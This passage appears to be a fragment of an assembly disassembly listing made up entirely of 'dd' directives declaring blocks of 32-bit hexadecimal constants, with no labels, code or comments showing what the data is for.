		dd 39066247h, 2A9C0585h, 67F49026h, 19FDA0E1h, 0EACFEA0Fh
		dd 37548C3Fh, 0F561776Bh, 344FDAF3h, 43CE4C6Dh,	66CFE51Eh
		dd 9704E09Eh, 0AD675851h, 0CB96F84Bh, 6DC49A45h, 4BA670DBh
		dd 4E20AC45h, 4370F0A2h, 23C9A965h, 0A4AAD684h,	8765E508h
		dd 6A061AD1h, 8DC3F13h,	9C624E49h, 0D1AE02C4h, 0E7B192A7h
		dd 5EC36D5h, 99D85388h,	39B77821h, 30F3955Eh, 6A4ACB5h
		dd 3FEC843Eh, 0D070FFE9h, 4A062798h, 90D74455h,	0B79AD8B5h
		dd 0D6B9F85Eh, 0EBDF054Ah, 579947FDh, 0DC427E15h, 0E001EF43h
		dd 0BAA23708h, 0A84754A5h, 0C7EAC831h, 18D791F2h, 42D3B53Eh
		dd 4584CC54h, 4FB27F23h, 0CEA89D44h, 5C85C2E7h,	0ECCA644Fh
		dd 546E76ACh, 39F2AB60h, 7191B3ACh, 30EC86DDh, 4F376DBEh
		dd 1498939h, 0A7F3D267h, 0BA538AD8h, 6A71703Ch,	8908F5F5h
		dd 80505A1Fh, 6660BBC0h, 0FA1F7A49h, 11D07D5Dh,	0B167847Bh
		dd 979F2F63h, 7CBFC431h, 0F178A2B5h, 3BA61863h,	0DDBEC036h
		dd 7F686A60h, 21305071h, 921E984Fh, 3582FE27h, 3974A35Ch
		dd 2AB0D8C1h, 0A77E3A3Bh, 66441C5Fh, 472D48Fh, 5BE00A45h
		dd 81CC68B7h, 9994A48Fh, 7D2A4661h, 4632B941h, 8D13753Fh
		dd 0A2B43CA3h, 901D4B92h, 4111777Dh, 0E38B9F27h, 3C6CA445h
		dd 279A5A38h, 6C3B173Ah, 7BF6775Eh, 88A93C1Dh, 0AF42CA79h
		dd 5D06096h, 0CC402FDh,	0AB02513Ah, 0F78F66E3h,	310C7D7Eh
		dd 7B66AB00h, 1D945D95h, 0FBA7BDABh, 685F2BCh, 75774057h
		dd 0C229B85Ch, 0AF2D7606h, 0E9A81DC1h, 0C99A0F40h, 0B8FB5CFDh
		dd 0CF22C079h, 57F55F1Eh, 798E5249h, 4ABE8EA5h,	47D4D046h
		dd 0F8309101h, 0B0D1CA2Fh, 1978E5BCh, 4A5D59DFh, 81C08E23h
		dd 867DA4D4h, 0C53CCB23h, 980DC243h, 19B6A6E4h,	0DF765F9Fh
		dd 0B3673AABh, 10FC6CFFh, 0FB48E45Dh, 0CC440857h, 0C5A29210h
		dd 30A23B3h, 9110DB3Dh,	8826EA0Ah, 67B71DF4h, 0C0B4AB52h
		dd 93C5D089h, 67FA0E46h, 967E6796h, 46BB9E57h, 296856F6h
		dd 9DC6AE2Fh, 3E94CCFCh, 31BCAB24h, 71A5E019h, 0AC41F66Eh
		dd 7A740011h, 8795F016h, 0C41D80C1h, 2455F510h,	6D0A8A88h
		dd 9EECA54Bh, 0C191D8BDh, 0F641C5A7h, 5FC0AF3h,	993C43FCh
		dd 89A17821h, 0EB89E5A4h, 0E7A4D6D7h, 45D234BBh, 0D10168E9h
		dd 0B7A5A213h, 7F0C442Fh, 484E6D7Fh, 6C0DE43h, 0C8E62AFBh
		dd 62CE2434h, 0AACF91D4h, 0E1600508h, 0D3CFE3D5h, 1BE6C14Ah
		dd 379F6F3h, 96A35B31h,	0B0E6267h, 0AD84EE81h, 4FB270F0h
		dd 0F1E020C8h, 930EC2F7h, 353C6425h, 0D76A2FD7h, 7998A881h
		dd 0E4951CFEh, 0ADCADE48h, 0F37B250Bh, 0FA25F0BDh, 2EBD3C85h
		dd 55B50900h, 722544C3h, 8918867Bh, 697ADF96h, 0DB8CFC5Dh
		dd 23929E7Bh, 64AB2FC6h, 0DA9CB2A7h, 3070ED73h,	961C4354h
		dd 0D81DBD0Dh, 0AE593A8Fh, 0DDC4328Fh, 3D522B62h, 7DF35009h
		dd 0A62D9305h, 0E1F53Bh, 6DD879C7h, 0DA9CBBB4h,	18622CA3h
		dd 0ED307F48h, 0FD06CD37h, 31CE05E5h, 0B2AB70F4h, 1CBAC191h
		dd 176B237Fh, 0D83D9A02h, 32C0EF1Bh, 9CF949F1h,	0F18BBEBBh
		dd 210319Eh, 975F7755h,	0EA1EE430h, 54E933E0h, 0BB8BF8F0h
		dd 0E82FBBAh, 6249595Fh, 0C706BB4Fh, 35E1E51Bh,	96DC6197h
		dd 0C1B9B0A4h, 566F149Bh, 0AB7B0845h, 1E12CB2Ah, 71FB2329h
		dd 0CFAE8BC3h, 0FA3A2EAh, 6B6D4266h, 0E04CA05Ah, 130E1F1Bh
		dd 88CD6AF9h, 0E290BADBh, 44503981h, 0A0669B76h, 513D91Ah
		dd 7ADA2F12h, 0F3BC81C8h, 1B8FE3A1h, 986A4A68h,	0DC46B35Dh
		dd 54321838h, 0ABE36BE7h, 0E3B9C2CDh, 509B2692h, 0A06BF454h
		dd 0B33D037h, 73E16B14h, 0CEF1DAFAh, 218D3AB9h,	827B4A9Eh
		dd 0F407C04Ch, 57012F23h, 9DF968F0h, 1BAEC8D2h,	5EF80984h
		dd 0DE729E6Ah, 3412FC50h, 9ECC4B07h, 0A1F1B5F4h, 17AA1780h
		dd 0B57C7990h, 0C652C242h, 5D0D1F51h, 0B8E49F29h, 6DAAF3C4h
		dd 59865B9Ch, 0D853926Ch, 2B0BEC58h, 903B2424h,	0FBC590E7h
		dd 70BD05B4h, 0A9696C81h, 1440CD70h, 1F232024h,	0A5F19F35h
		dd 11DCFBEBh, 449546B4h, 0D77B9B03h, 3E2D1167h,	82307C10h
		dd 0C2A4D9E1h, 69BC3BCBh, 9C656C80h, 1A5ED276h,	151D232Bh
		dd 0D9EF963Ch, 3AD7FAF1h, 0FB9559AAh, 0FE7BBEADh, 0C311D4Eh
		dd 9319566Bh, 0D39EC6F4h, 40AF3BC7h, 0F5C98590h, 1D50FD5Fh
		dd 7F33693Fh, 0C8E8B52Bh, 3DC60ADAh, 859542A0h,	934FB192h
		dd 73480176h, 830F6A3Ah, 79FDC5E8h, 7EA326FCh, 0C4A7ECADh
		dd 3247FA78h, 643D596Dh, 0CA38BD33h, 2CF811F9h,	0B2DA73AEh
		dd 0F969D59Fh, 5C533349h, 0A4229A02h, 3992FB17h, 64B432C0h
		dd 0DFAF8EB6h, 557FEB69h, 83235464h, 0F5118E04h, 4FE86AEAh
		dd 0A8BE68FCh, 0D52DA98h, 4D592670h, 0B03B9522h, 0E7FB21h
		dd 73F436CDh, 0C88DAA92h, 22501F8Bh, 0A3447941h, 0EA00FD2Fh
		dd 61C514E8h, 0B6AD6DC5h, 3BFCD796h, 72580567h,	0E93D9C20h
		dd 3EE5E51Dh, 85F15FEEh, 0DC9680CBh, 3571158Bh,	805B4142h
		dd 0EB03DD21h, 64EE1883h, 0BDA99DC3h, 0E85CFBAh, 62566C7Fh
		dd 0DC21BB58h, 1CF4CE69h, 9AF852F6h, 0F393B3A0h, 436903A0h
		dd 0D9566748h, 0B29DE01h, 74D22218h, 0F1C28BC7h, 480DFADh
		dd 6C6C6269h, 0D63FB156h, 22111937h, 9DE618FFh,	0E5B3CAF0h
		dd 596739BEh, 0CF5C9172h, 330D407h, 70EB3618h, 0C7D5B2D1h
		dd 3B8BF3A7h, 96754D4Ch, 0D546B35Dh, 58013D29h,	0B1EB77F9h
		dd 0ECA2DFDFh, 4C972686h, 0AE43A07Bh, 295AF826h, 60FA6F05h
		dd 0C2E0BFEBh, 2C9108BFh, 82775397h, 9139B246h,	66021605h
		dd 0BAFF6DEBh, 399C3D7h, 7E962193h, 0D567855Bh,	2907E54Eh
		dd 98EC4719h, 0E0E38799h, 31BF0694h, 0E57C6181h, 0F455DA40h
		dd 4A072B34h, 0CBE29F14h, 3AAF3CEh, 0F865DBEh, 0D954856Eh
		dd 313AF158h, 981D4A1Ch, 0F2D8C6F6h, 4AD81EA2h,	0DB62648Ah
		dd 1657C36Eh, 56623A2Eh, 0B3F58417h, 20CAF7C9h,	609F5BB9h
		dd 0C374B74Bh, 481D5Dh,	99136E31h, 0CAD0D9E3h, 40912ADEh
		dd 0B2656E87h, 204AC763h, 70282531h, 0C3E4AF73h, 3CD6FAC4h
		dd 9E9665BBh, 0D4148D93h, 4D271A45h, 0AE047537h, 0D6F0D7F7h
		dd 258D38C7h, 0A28E98AAh, 1D4DF663h, 6F375F6Dh,	0C8E8B52Bh
		dd 19F63F9Bh, 0C2A97088h, 0DF4AECC5h, 506E6469h, 0B8064534h
		dd 1CD3CDF2h, 7E944AD6h, 0D884A3BAh, 2647C565h,	111487Ch
		dd 0F219B735h, 3CDE11E0h, 92B67795h, 0C870FD94h, 4C53081Fh
		dd 9B10991Eh, 0AE7F21Ah, 118138ECh, 0D918D181h,	0DE4AD207h
		dd 0A54B4CE7h, 0CF60BA9Eh, 79F6FF70h, 195F0CADh, 2F54F8BDh
		dd 3940AF4Fh, 0FDE067B8h, 0A10F9465h, 0F7868B3h, 52A155D1h
		dd 2347B2D4h, 5441C2Dh,	8C56F2D6h, 34CA60E3h, 0B99D52E6h
		dd 25302FE0h, 437A9298h
		dd 0EB09A82Bh, 0BD13753Ch, 7EB43CA3h, 0A1DC20Fh, 41004E17h
		dd 2036D6A4h, 0B89821D8h, 0EEA95693h, 0A19AF8DBh, 6BC49AEFh
		dd 5C75F886h, 0FE029E51h, 91039803h, 0FDC4769Fh, 77493B95h
		dd 0B40A76CDh, 0B0B28E5h, 0E2696ACAh, 454EBBBFh, 0E8012C88h
		dd 0A0186FEAh, 0CE1CDF8h, 0A54C71B1h, 0AB122663h, 62A818E3h
		dd 0D6D06Bh, 45443621h,	0CF22FE1Bh, 1B32A223h, 61622A77h
		dd 0B5D6E4A5h, 0A8BAD582h, 0E926FE94h, 641F952Fh, 2D4A4AC8h
		dd 0AB5D8B8Bh, 95D3BC8h, 0C0FE42F2h, 0C5B97919h, 645A8653h
		dd 0F6DB6FA0h, 6933514Dh, 0C0E46CF3h, 0EF3AC474h, 6E6B2829h
		dd 0B6E59DA8h, 0D58C3A5Fh, 5EED293Eh, 31048E1h,	30D915F0h
		dd 4D6A4AB8h, 0D10DA36Bh, 49B0D0B0h, 0BC218DCEh, 0DBC6917Eh
		dd 47BFB633h, 0A6E57825h, 0CB96D344h, 923A6845h, 0DD77B524h
		dd 3420F037h, 0DE45F6F7h, 0F5556CEAh, 69752E93h, 0FE53973Eh
		dd 3353C9B0h, 7D34AC1Dh, 38FCF16h, 0F290E062h, 0C43B1F6Eh
		dd 54EC24CBh, 0F74B8757h, 0DCB72960h, 0EB66240Dh, 7280B80Ah
		dd 3FEC782Eh, 0D5C25DE9h, 73C6F717h, 485C4445h,	0ACC10BF2h
		dd 0A6D288B1h, 0E0F0BF42h, 0CF44CCEDh, 3F664EE6h, 25F31073h
		dd 659D48Bh, 25DC4FE9h,	423DD62Eh, 6938834Fh, 0B7C3A1Bh
		dd 0B7EE1F30h, 4FBB96C3h, 0B36D20C9h, 5AF06896h, 5CFF9450h
		dd 0C75546C6h, 711CAD81h, 8E4F08A7h, 0BDE4D39Dh, 0AE16CFCh
		dd 15030D1h, 4EFF8F67h,	45BC6F30h, 0D89E8B48h, 0F58BB8E1h
		dd 2436523Bh, 0CD6445C9h, 677E1F7Bh, 45C040ABh,	0B3EFE6BFh
		dd 2F897B05h, 7C4A360Dh, 0BDFC459Dh, 3BA66B8Bh,	35D466EDh
		dd 7F02AEEFh, 2162024Fh, 0B5CB0D10h, 568C844Bh,	32DBB6Ah
		dd 0F8E8D8D0h, 1A1410AEh, 0ED2C1D47h, 0DD32BE5Bh, 0FE2F576h
		dd 565802A7h, 25A7D013h, 162E2E47h, 460FE841h, 59A6AEDBh
		dd 684B2C9Dh, 9FF2F1E9h, 35D0F5A0h, 0B32AF131h,	850660DEh
		dd 71CD07D1h, 0F7726D4Eh, 0EEAF9ACFh, 5BF449CDh, 91744BC4h
		dd 60D8079h, 99F970D3h,	2519C81h, 370A67F7h, 0B3F83B8Ah
		dd 0D095F35Fh, 4DC41C2Dh, 0ED92BEFBh, 5FBA0526h, 0C79F3217h
		dd 0A54CD63Dh, 4F5E029Ch, 0D6BA8D6Eh, 7485BAAFh, 3D3B4E78h
		dd 0CBF0A31Bh, 7B5E2049h, 98C84302h, 0A5A96028h, 0DAF365D3h
		dd 0E9082894h, 0CD97C92Fh, 0FDF0BEA2h, 0DEBD8684h, 5DFB0B9h
		dd 23FE53F7h, 0B016CA95h, 59DAD053h, 80C3771h, 2BB6DA9Eh
		dd 0BC915CF3h, 0BF2C9FBDh, 0E4078E60h, 0F5A1E915h, 0FED305C3h
		dd 77A0F77Dh, 0E6AB1EB0h, 0AB19E09Ah, 9C6FD53Dh, 0FF5DAB64h
		dd 243DD099h, 43CE6C5Ch, 0E964149Fh, 0D73AB623h, 23FDA702h
		dd 0F696EA40h, 6DC49CA1h, 0F4DBBD4h, 0C9E009h, 0D24E8237h
		dd 0BC2E745Bh, 322FC9C5h, 0BAD868C1h, 0E7AA0229h, 0E4B0A310h
		dd 23624E4Bh, 6D638559h, 0E6B1A89Bh, 5EC3459h, 873ADBAEh
		dd 68755811h, 9E027F38h, 0AD9810F2h, 515322CEh,	0A5682016h
		dd 0F25FD763h, 2F2C473Bh, 0DFFFC95Ch, 5947CF67h, 0EB5C1BC0h
		dd 6A14CCDAh, 0AABD3CC9h, 0E1602EF3h, 0D3CE72B4h, 2C2404E5h
		dd 83FAF6E3h, 546EF7Eh,	0B325B50h, 929E4992h, 8F377E8Bh
		dd 38D316BDh, 0AC4A477Eh, 5D6D6435h, 576A0453h,	29CEF9D0h
		dd 24D8DF50h, 2879ECCDh, 5F329594h, 55990369h, 0F22C8236h
		dd 17398BC4h, 60DA06FDh, 1CF79CF5h, 2B266439h, 40E43FB5h
		dd 6F828B0Ch, 7B03B9A8h, 4CEF88D6h, 516F7B36h, 37CF33CCh
		dd 424B9215h, 3015BA04h, 50E85CBEh, 6F1F6D5Eh, 2D8ADB19h
		dd 485EF246h, 658D9CFFh, 2C4235A3h, 6263B81Ah, 3F77DC0Ch
		dd 18A65B28h, 48F190B0h, 0FD2B3386h, 831A89E0h,	24BCCEB1h
		dd 0E8D52C41h, 0A9660ED4h, 10B016Fh, 7EB43CA3h,	50C9C20Fh
		dd 8617997Ah, 0B3E7820h, 86233D55h, 61D50540h, 9B89AFE5h
		dd 2BBC69Ah, 7E4B4E6Eh,	0F326B854h, 35EEE93Eh, 0AFDD55F8h
		dd 0E7AEB186h, 617E0896h, 0B04B7A44h, 3E3AC420h, 72F83C05h
		dd 0BFB08BD9h, 682F18Dh, 6C564662h, 0A74CA046h,	122A7663h
		dd 997897E3h, 0E2AED5CDh, 5F6D7280h, 0A3539978h, 5F19D828h
		dd 5D8E2E07h, 95F7A7ECh, 2382F4B0h, 8F694074h, 0DE159F25h
		dd 77004C0Fh, 0FFEC47C4h, 0F3B9C69Fh, 76F42793h, 0C52CF4FDh
		dd 8ADBCB43h, 99826DCh,	0BEC15F59h, 0B2E47CDDh,	0FF2C606Eh
		dd 8EA80129h, 2D045E23h, 0EBAAB10Eh, 0DB93A6A3h, 338D66DDh
		dd 44186B69h, 0D077F920h, 0EFBD14D6h, 0A3C65B99h, 0E6B8D790h
		dd 0DDBC9178h, 2B5B633h, 29786087h, 31D07385h, 963AD221h
		dd 0C0103F6Ah, 90C8B0E2h, 0D0B17DCCh, 0F1740019h, 9F4282E6h
		dd 6AD868C1h, 9F2849A9h, 8234E051h, 0F5CC4DEh, 0B550FB79h
		dd 61D401AAh, 3779CB86h, 581AC63Dh, 0DEA0EBE1h,	389E5A1h
		dd 8DA4BC86h, 709118E8h, 952E53A6h, 8C2EEE5Bh, 562CED0h
		dd 49F60E73h, 5950775Eh, 419D539h, 8D061070h, 0B28B5D2Bh
		dd 0F132F8DCh, 0D2CFE387h, 749D04E4h, 416F09B2h, 8128882Fh
		dd 0B563A34h, 0FFC18F38h, 0B9C4CA8h, 0EE06C85h,	83304862h
		dd 35368C25h, 0A41D0653h, 17F1DAF1h, 1B872CDBh,	8F61138Dh
		dd 0D6229E35h, 116E0ABCh, 2E4FDD67h, 55B50918h,	0A75F9FC3h
		dd 0D808A8CEh, 15BCCFE0h, 0A5F7FC5Dh, 6F929E7Fh, 84AF524h
		dd 3EB7E2C7h, 4523A2B8h, 288CE33h, 5E1E379Eh, 2BB8070Ah
		dd 5E840CBDh, 6F1CC14Eh, 0B4BD5019h, 0C34EEC6Ah, 64E6C025h
		dd 6FE836C9h, 29E8D8D3h, 743CEF00h, 2DC11C3Dh, 250CB01h
		dd 21BE0004h, 0D5A450B7h, 6B911168h, 417E4603h,	0EB09B811h
		dd 64A81F90h, 2EC2C8Dh,	8FDDE85Eh, 695B6F9h, 0E33E0266h
		dd 856CB8BDh, 68C90183h, 0FBFBB3F2h, 27BADEF1h,	87B1C30Dh
		dd 3C52CE05h, 51808701h, 121BAF97h, 0CCDCD4DDh,	9FCDB7Eh
		dd 0E4D00831h, 939955BAh, 1D944C71h, 0F68CA7FCh, 4FA4D597h
		dd 3527E43h, 9BC641CAh,	87FF7673h, 0EB9D9C9Eh, 0E345BABFh
		dd 2D045CE8h, 0D62D4B96h, 0FC39A059h, 3B150CAh,	40BA0CA5h
		dd 0EA69792Ch, 0F9081717h, 8BC2C52Fh, 0BC746C5Fh, 0DFA39E67h
		dd 80B8E4B9h, 0DCFE52E6h, 0D5120280h, 0F79E1743h, 59883870h
		dd 0ABDC0E14h, 5B71839Fh, 6A120EC4h, 9C3599E9h,	337DEA3Fh
		dd 7F09FB85h, 9CCAB68Dh, 7645CB03h, 0BB26FA11h,	0D8D9A548h
		dd 0FF923018h, 0A3252FC9h, 0C6DE62F8h, 6C881B35h, 0C3AB622h
		dd 29E35411h, 4E19CA80h, 6DD482C2h, 4EB5BB1Dh, 0DB21E019h
		dd 394FE837h, 0FBE9DB67h, 14AAD6ACh, 0BDD79739h, 0DB060B8Fh
		dd 16A1218Eh, 75625E55h, 3EC3A269h, 73806C32h, 0A2CB1D5h
		dd 0A71B9686h, 0C5F5F531h, 5A760A41h, 77985485h, 0BBBAA144h
		dd 8F0000E9h, 47A7443Ch, 80A31061h, 0B79AD8F1h,	4722352Ch
		dd 0FA572ADFh, 62EED115h, 0B8D7E3D4h, 8B700047h, 838ADA87h
		dd 769E54B5h, 0F8F0631Ch, 2DA59801h, 9EDB2E1Bh,	0AD949E85h
		dd 450471CBh, 0E5C46442h, 91062236h, 7F2E656Fh,	0D4201451h
		dd 71BCEC8Ah, 0DAC9AB2Fh, 0B6A5E43Dh, 0A032AA4Fh, 0BCDD600Bh
		dd 0A36EED2Fh, 45AC687Dh, 0D1F433C3h, 0A9269889h, 0E0C7A31h
		dd 0F54AD968h, 4FEABB03h, 5BCA338Ch, 93A0AB98h,	0C0E3D305h
		dd 0F75A1809h, 99D40CE0h, 3BCC6A8Fh, 22875BEDh,	6F3DA47Eh
		dd 0B1BDDB19h, 0A95EE252h, 0E977775h, 0EFEB3B6Ah, 0A9E8D8D4h
		dd 41725FD9h, 78BB4B2Dh, 8F628061h, 61ACA40Ah, 0D4A6095Ch
		dd 0F8FCA4E5h, 734E6AEh
		dd 460BBF41h, 4BB980FAh, 8374A99Dh, 0D757439Fh,	0C21060C6h
		dd 0F32B8282h, 8E1B455h, 278A17C4h, 0C9A2369Ah,	94A5CC8Eh
		dd 1D1B3A98h, 0AFAA5D3Bh, 0DA11AF17h, 0BB1BAF69h, 25DCD4FAh
		dd 42A494FEh, 0F3D06831h, 1A9955B5h, 14775B0Fh,	54C39926h
		dd 4A3F1B33h, 4BA3BFC9h, 564CC40Ah, 0AC8DF1C7h,	7C574B28h
		dd 8BC68445h, 3873E16Dh, 0BB33FE0Bh, 450C863h, 86714277h
		dd 0B5ACDA0Fh, 16AD3B53h, 8D182811h, 0F4C30D3Eh, 3D747C43h
		dd 19A20E8Bh, 9191F73Ch, 2B1752E7h, 2D30BEBh, 774F16C6h
		dd 9883871h, 0AF74871Fh, 2EE71CDh, 807D70DBh, 0F72FE047h
		dd 55070E77h, 9ABC25E0h, 1AA3D293h, 768C6884h, 0D743892Fh
		dd 3C26EE58h, 0F2A34B1Fh, 8190F093h, 639152E7h,	88616186h
		dd 0E01AC446h, 4C0C2A30h, 0C19BDB11h, 8A8F9FFh,	6A9E4AB5h
		dd 0C84C937Ah, 232FEA17h, 945C5D15h, 0F28AA2FDh, 5ABD18B9h
		dd 0AF686B9Bh, 9478C31h, 7606202Ah, 0E1AA9717h,	34B49F8Ah
		dd 6D8F40B4h, 877DB86Ah, 69241450h, 0CB0F7B3Bh,	0ADC0D2ECh
		dd 47B537D5h, 0B7202C9Dh, 150ED078h, 7B392D37h,	0FEAA9517h
		dd 30D9FF81h, 0F1EB10BBh, 0EF71A4AAh, 4D234E4Eh, 8E09303Ch
		dd 0E5BE9EF2h, 4BA93DC7h, 0E7C58587h, 0C45F752h, 7F1F1A1Eh
		dd 8DF7B54Dh, 2ADF17EFh, 85A900E8h, 0FF2EB1D0h,	14591044h
		dd 0EDC15F04h, 11CDAD34h, 0B605E86h, 0AD52F8CEh, 2D29B52Eh
		dd 3197B43Dh, 0A675A8D3h, 621D8E70h, 2F45DAC3h,	0A5A0A19h
		dd 98368B9Ch, 0B2F12D87h, 6291692Eh, 4CE9A26h, 71822E8Bh
		dd 8DA43757h, 0F74A2633h, 9978C861h, 3BA66A8Fh,	0DDD40CBDh
		dd 7F02AEEBh, 21305019h, 0C35EF247h, 658C9475h,	7BA36A3h
		dd 0A9E8D8D1h, 4B167AFFh, 0ED441C2Dh, 8F72BE5Bh, 31A06089h
		dd 0D3CE02B7h, 75FCA4E5h, 0AF8FC573h, 0B958F803h, 193A2FECh
		dd 0F2B42C8Dh, 12F68D7Ch, 0F61F68AAh, 333D146Ch, 0A148F0DEh
		dd 559614A8h, 0C18AC3A8h, 297D8EACh, 1661719h, 0EDEA4BB2h
		dd 0D4098079h, 0F3BE602Bh, 575FC12Eh, 56D384DBh, 51380CE3h
		dd 6B42F5CAh, 1DF0A47Dh, 0A0AAEEABh, 0ECF090D9h, 133DBE82h
		dd 0BD758D35h, 87F97A17h, 165FFA95h, 9B942E3Ah,	0F4F39FEDh
		dd 0EB6D7318h, 6183A059h, 9C723288h, 0B15467A5h, 0CA637031h
		dd 0F9080B8Dh, 0EF46F0ACh, 3E464758h, 912F1EF9h, 0DF8BE845h
		dd 57FE6864h, 2E1E0B11h, 77286940h, 0F6776F99h,	8078F160h
		dd 5DA6C040h, 0A41146FBh, 14CF031Dh, 337E20CFh,	97088142h
		dd 77CAA6A3h, 251048E1h, 3026EA0Fh, 4D1618B8h, 92BC66Bh
		dd 0B9582F66h, 0C0DE72C7h, 0F54E8048h, 8F4FB623h, 0D60C5D8h
		dd 577DFA6Fh, 2F501152h, 80313ECBh, 0A162788Ch,	0C7DB0B37h
		dd 1D7C3427h, 97AAC690h, 0B21BA1F2h, 0DB068A7Ch, 90DCFE1Dh
		dd 1C9DB1B5h, 0D1D24CECh, 0E06891A7h, 0AEC38AFh, 0A71BD187h
		dd 5932FB31h, 16F2155Fh, 6A4BC8Dh, 0C78252F9h, 2EFFFE21h
		dd 31922714h, 0D35F4455h, 37826C23h, 40CC8858h,	8FC8D34Fh
		dd 6CFF8CFEh, 0BE4326A0h, 3EAFCFB8h, 0C7673358h, 50CC18F9h
		dd 0FD1AF0Fh, 66D26192h, 0B568DB0h, 0D505BA6Dh,	40804D65h
		dd 0F1E08B4Ch, 0A98D94F7h, 0BE391125h, 0D5811619h, 889BA20Ah
		dd 0E5B4A2FEh, 8F71322h, 5F32CCB7h, 7990B594h, 27FADD9Ch
		dd 0BAAC7495h, 0F798AA76h, 0DCE0E8F1h, 28C9A5E1h, 0DD2640C8h
		dd 0D317117Bh, 12C050EBh, 30BDC6D3h, 8E2F86C5h,	1442903Ch
		dd 0B9B14873h, 1F82ABDCh, 0F9C825B9h, 2426A2C2h, 0A0D9BB59h
		dd 7889FDBCh, 0E4B2E0A8h, 69FF9E58h, 28DEAC0Ah,	0EA2D2304h
		dd 6C6A68D2h, 3A5068A0h, 0B0861425h, 8B27914Ch,	0F4E2D016h
		dd 4FC33BE8h, 384E9CB2h, 7EB9CC94h, 7CBA587Ch, 0BADDFE30h
		dd 0BE160418h, 0F37C8AB2h, 0F485EF55h, 7965A97Ch, 20DC3A32h
		dd 94096430h, 94E3CCEh,	5A1B3663h, 0C4087F96h, 0F3BE04AEh
		dd 8DED7CA3h, 0D3CA84F1h, 0BFDA0A22h, 2360C0E4h, 0E2616295h
		dd 0B7006D54h, 649A415Eh, 0F63FDA5Fh, 5FCC2BCAh, 0F7710560h
		dd 0D02D1AC1h, 21D6AA99h, 456E7B06h, 35B25443h,	0C178D54Ah
		dd 0E68FAA66h, 0B4041B5Ah, 0D3EA86D3h, 28155CD3h, 708C34CFh
		dd 857187ABh, 5FA20E8Bh, 426F5212h, 1A6EC76Ah, 1207F405h
		dd 90994CB4h, 19B1BCF4h, 0ABB6DA9Fh, 8D7173C5h,	1919FE3Ah
		dd 817942ACh, 351B6357h, 0F01509E3h, 0F23CB558h, 19E87163h
		dd 0DD209F0Dh, 0B671BD30h, 0FE8F486Fh, 491BB6BCh, 0BC218D7Bh
		dd 6C38577Eh, 97781AB6h, 0DEABF351h, 0DBAF7EFAh, 6DC49CADh
		dd 0CF6731D3h, 598A5C0Dh, 0ACB17DABh, 0B7CCB1ECh, 125CC683h
		dd 39C85143h, 0D4027FEEh, 5636472Ch, 0E8A1E58Bh, 0D1A974FCh
		dd 63BE92A7h, 8FCB40DDh, 0B723A886h, 42A8B931h,	0AEFD1739h
		dd 751417EBh, 5157D411h, 100010D0h, 142BB9F7h, 0BE5ACD21h
		dd 1CEC2640h, 3D009A4Ah, 50E62F40h, 0A46A4977h,	67466E3Bh
		dd 4A68F098h, 171B7444h, 2CCC4492h, 3B4AD308h, 0D14EB8FAh
		dd 0A0303AD4h, 0A9EEC586h, 0BBBB96C3h, 0F56DDF36h, 9BEE0325h
		dd 0F5B56143h, 0D481AD35h, 13323831h, 0EB2E12B4h, 3D0B132Eh
		dd 4F051A8Eh, 0FBD03639h, 2751A16Fh, 0BB6F0047h, 19196209h
		dd 77CFCC3Bh, 0D5EF2ED5h, 33688887h, 919DEAB1h,	0A1CF3463h
		dd 325092Eh, 8EAC2E82h,	2FAE2D8h, 61C8088Ah, 0CC65D664h
		dd 0CDED8838h, 7F22AEEBh, 54B6E019h, 4E5AF645h,	0C0066A3Ah
		dd 7AA0FDFh, 556873B7h,	0FB110FFAh, 120B9C2Dh, 0ED9A141Bh
		dd 0C65F9F76h, 0C3F78632h, 75BCA4E5h, 71922013h, 0D5A9D70h
		dd 0EB2DEC46h, 83312685h, 5FE2DEF2h, 0A9BA7319h, 1CC1ED1Ah
		dd 9B3CE5h, 278A6F07h, 0C9C878B1h, 0ED4698AAh, 34589987h
		dd 434DE2Bh, 24857CE9h,	73AE9290h, 3F9C3B8Ah, 0A7B7EB30h
		dd 31381818h, 84995542h, 2410C98Ah, 0BFC2EEBBh,	628480D9h
		dd 0F4B452B7h, 0B57550B0h, 477A7663h, 51AF6C99h, 8B3A31EAh
		dd 0A8F31346h, 0CF22C79Fh, 7060A04Ah, 137EC678h, 5D0CE4A5h
		dd 0EA632D79h, 0F9086A9Dh, 64B806C7h, 979CDCA2h, 7F1F8720h
		dd 69D0A0FBh, 0DC01AC5Ah, 0FCA871E2h, 67599653h, 13FC3871h
		dd 92325F68h, 4DE47CDDh, 0E5661FFBh, 6EBEEEC1h,	0CDF58AA8h
		dd 3C2CFB7Ah, 0F2410D19h, 19E80A7Dh, 730D2584h,	1FF031B4h
		dd 0B70B2E7Bh, 0C5D76865h, 70754438h, 12A77235h, 970332A6h
		dd 29685B51h, 3D858E7Fh, 7DFD1E28h, 586BEDBh, 4EDD4AE1h
		dd 0AD156AC8h, 92C4DB9Ah, 3C8C4FF7h, 92BEA8F2h,	0E2828F18h
		dd 7D37AC0Dh, 45164E4Bh, 0F812758Fh, 163E92B7h,	0F86DDCDFh
		dd 95F229FCh, 0A1B787CFh, 1489E75Dh, 994C9C3Dh,	0CC2DA140h
		dd 2EB866D0h, 0E285C402h, 91C9CFEEh, 408AF64Ah,	5A7A7F73h
		dd 8EE62ACFh, 61C824E9h, 20F291D4h, 1E8AFEB1h, 7C26D478h
		dd 0B46732A0h, 4C357D48h, 796A3C94h, 829E113Fh,	28732025h
		dd 4FA2471Fh, 0F1E020CAh, 16F9FA83h, 352C5DA1h,	0D16A0653h
		dd 0FC6F84F5h, 1BD6732Bh, 0BCF4ECDDh, 9DCA847Eh, 0E9AFCFC4h
		dd 5C812F2Ch, 7C28F162h, 0E7DA16D3h, 837CBCF1h,	0D4CBF6F7h
		dd 300514B2h, 0EA656184h, 11D0792Dh, 0B3EEE2D3h, 0C3F49371h
		dd 4FB5D9CEh, 51860848h, 0FBAED224h, 657F08C9h,	18E9569Eh
		dd 0DC4FB8B2h, 46A90DB8h, 659CADF1h, 7BA36ABh, 1468AAA4h
		dd 4B06437Dh, 52D682Dh,	708D433Eh, 18B84931h, 0AD6B087Eh
		dd 0B5FCB4DCh, 0B22045F7h
		dd 0B948D13Fh, 0A6CD62C4h, 4C04D362h, 1D674461h, 0EB1060C0h
		dd 1CC32ECFh, 0DABBAAh,	278A6FFDh, 0CD08FC3Ch, 63165B9Fh
		dd 0A642B1BDh, 0F8F8DF8Bh, 0AE7DA081h, 0D7920B68h, 6E3E7CA3h
		dd 0B38F91AAh, 0C9381818h, 0F66AA4Fh, 0B7DDFC7Ah, 45B756CDh
		dd 0CA9671DBh, 0FCE2CEEFh, 0FA464CAh, 0CED1B650h, 0F9EA902Ch
